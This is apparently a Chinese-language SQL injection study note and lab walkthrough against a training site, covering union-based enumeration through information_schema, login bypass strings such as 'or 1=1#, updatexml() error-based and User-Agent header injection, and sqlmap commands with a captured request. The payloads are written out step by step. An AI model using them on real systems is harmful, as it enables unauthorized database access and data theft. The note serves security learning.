注入攻击的本质: 把用户输入的数据当做代码执行。
两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行
针对SQL语句的注入,也可以理解为用户输入的数据当做SQL语句的代码执行
重要知识点: 通过系统自带库查询数据
通过系统自带库查询数据 Mysql在5.0以上版本加入了information_schema 这个系统自带库
其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
information_schema.tables存放表名和库名的对应
information_schema.columns存放字段名和表名的对应
注: 【information_schema.tables 实际上是选中information_schema库中的tables表】
1.判断注入点
最古老的方法: and 1=1 页面正常 and 1=2 页面不正常
最简单的方法: 页面后面加’,看是否报错
好用的方法: 如果是数字型传参,可以尝试-1
例如: http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻
and 1=1 and 1=2 被拦截的可能性太高了
可以尝试 and -1=-1 and -1=-2 and 1>0 or 1=1
或者直接 or sleep(5)
2. 判断当前页面字段总数
and 1=1 order by 1,2,3,4,5……
3.判断显示位
and 1=2 union select 1,2,3,4,5,6,7……
4.查当前数据库
and 1=2 union select 1,2,database()
5.查表名
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
6.查列名
and 1=2 union select 1,2,column_name from information_schema.columns where table_name=表名 and table_schema=database() limit 0,1
7.查字段内容
and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1
注:函数GROUP_CONCAT将多行数据进行整合在一行输出
POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别。
在真实的站点上,POST注入往往比GET注入要多的多。
POST注入高危点:
登录框
查询框
等各种和数据库有交互的框
最经典的POST注入——万能密码:
’or 1=1#
’or 1=1–
闭合:
’ 闭合;
" 闭合;
’)闭合;
")闭合等等;
1.判断注入点
’or 1=1 and -1=-1# ==》登录成功
’or 1=1 and -1=-2# ==》登录失败
==》在Username登录框存在注入点
2.判断当前页面字段总数
’or 1=1 order by 3# ==》登录成功
’or 1=1 order by 4# ==》登录失败
==》当前页面字段总数: 3
3.判断显示位
’or 1=2 union select 1,2,3#
==》注入点是 2,3。
4.查当前数据库
’or 1=2 union select 1,2,database()#
==》数据库名为 post_error
5.查表名
’or 1=2 union select 1,2,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()#
==》两个表:flag和user。
6.查列名
FLAG应该在flag表里;
’or 1=2 union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’#
==》列名:Id和flag
7.查字段内容
FLAG应该在flag表里的flag字段里;
’or 1=2 union select 1,2,GROUP_CONCAT(flag) from flag#
==》字段里面的内容为:zKaQ-PostK1,zKaQ-XZT,zKaQ-FlagA1。
下载地址:https://github.com/sqlmapproject/sqlmap
Sqlmap 是一个开源的渗透测试工具,可以用来进行自动化检测,能自动化利用 SQL 注入漏洞的过程,帮助你接管数据库服务器。
基础命令:
-u 指定注入点
–dbs 跑库名
–tables 跑表名
–columns 跑字段名
–dump 枚举数据
-D 指定库 -T 指定表 -C 指定字段
Sqlmap用户手册[超详细]:https://www.cnblogs.com/hongfei/p/3872156.html
–forms读取页面中POST传参的表单的传参名然后进行SQL注入
-r 读取数据包文件进行SQL注入,在注入处末尾可以打一个*号告诉Sqlmap测试哪个点
–forms
sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --forms
==》注入成功
跑库名
sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --forms --dbs
跑表名
sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --forms -D post_error --tables
字段名
sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --forms -D post_error -T flag --columns
出数据
sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --forms -D post_error -T flag -C flag --dump
-r
Burp抓包,为了方便在Sqlmap文件夹里创建文档1.txt然后把数据存放在里面;
POST /Pass-05/index.php HTTP/1.1
Host: inject2.lab.aqlab.cn:81
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://inject2.lab.aqlab.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://inject2.lab.aqlab.cn:81/Pass-05/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
username=&password=&submit=%E7%99%BB%E5%BD%95
sqlmap.py -r 1.txt
==》注入成功
然后跑库名(sqlmap.py -r 1.txt --dbs),表名,字段名和数据 跟–forms差不多。
在传参的时候,将我们的数据构建在http头部。
就是当你登录时,网页可能会记录下你的ip之类的信息,方便下次访问,此时或许存在注入点。
注:需登录成功。
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。
如:
$_REQUEST (获取GET/POST/COOKIE)
COOKIE在新版本已经无法获取了 $_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER功能很强大,如:
$_SERVER[‘HTTP_HOST’] 请求头信息中的Host内容,获取当前域名。
$_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip。
$_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER包含的信息:
updatexml() 更新xml文档的函数 ;
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
例如:updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码!
[0x7e 实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错] ~ ~
select updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
==》这样我们就实现了通过报错注入查询数据库名的目的。
updatexml () 这个函数一般是配合and 或者是or 使用的,
他和联合查询不同,不需要在意什么字段数
如:
select *from wlb where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
但是要注意,and 情况下只要一个为False,就会判定是False,所以如果and前面的条件不成立的情况下,就不会执行之后的语句。
所以使用的时候建议使用or 某些没有回显盲注也可以用这个updatexml()做出来。
但是报错一般有长度限制,不能输出太长的数据,尽量不使用group_concat()。
HEAD头修改:
User-Agent;
Referer;
X-Forwarded-For等等;
首先用Burp爆破密码:
需要用 ModHeader 插件:
修改UA头进行注入:
1.判断注入点
’or sleep(5),1)#
==》存在SQL注入。
2.查当前数据库
’or updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#
==》当前数据库为head_error。
3.查表名
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1)#
==》表名为 flag_head。
4.查列名
’or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=“flag_head” limit 1,1)),1),1)#
==》列名为flag_h1。
5.查字段内容
’or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 1,1)),1),1)#
Burp抓包,为了方便还是在Sqlmap文件夹里创建文档1.txt然后把数据存放在里面;
并在存在注入点的地方打个*号;
sqlmap.py -r 1.txt
==》注入成功;
然后跑库名(sqlmap.py -r 1.txt --dbs),表名,字段名和数据;
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 1,1)),1),1)#*
[外链图片转存中…(img-GEvVJ372-1627374165357)]
Burp抓包,为了方便还是在Sqlmap文件夹里创建文档1.txt然后把数据存放在里面;
并在存在注入点的地方打个*号;
[外链图片转存中…(img-GmWmTTMb-1627374165359)]
sqlmap.py -r 1.txt
[外链图片转存中…(img-pGFHkt2i-1627374165360)]
==》注入成功;
然后跑库名(sqlmap.py -r 1.txt --dbs),表名,字段名和数据;
跟上面的 --forms的POST注入类似;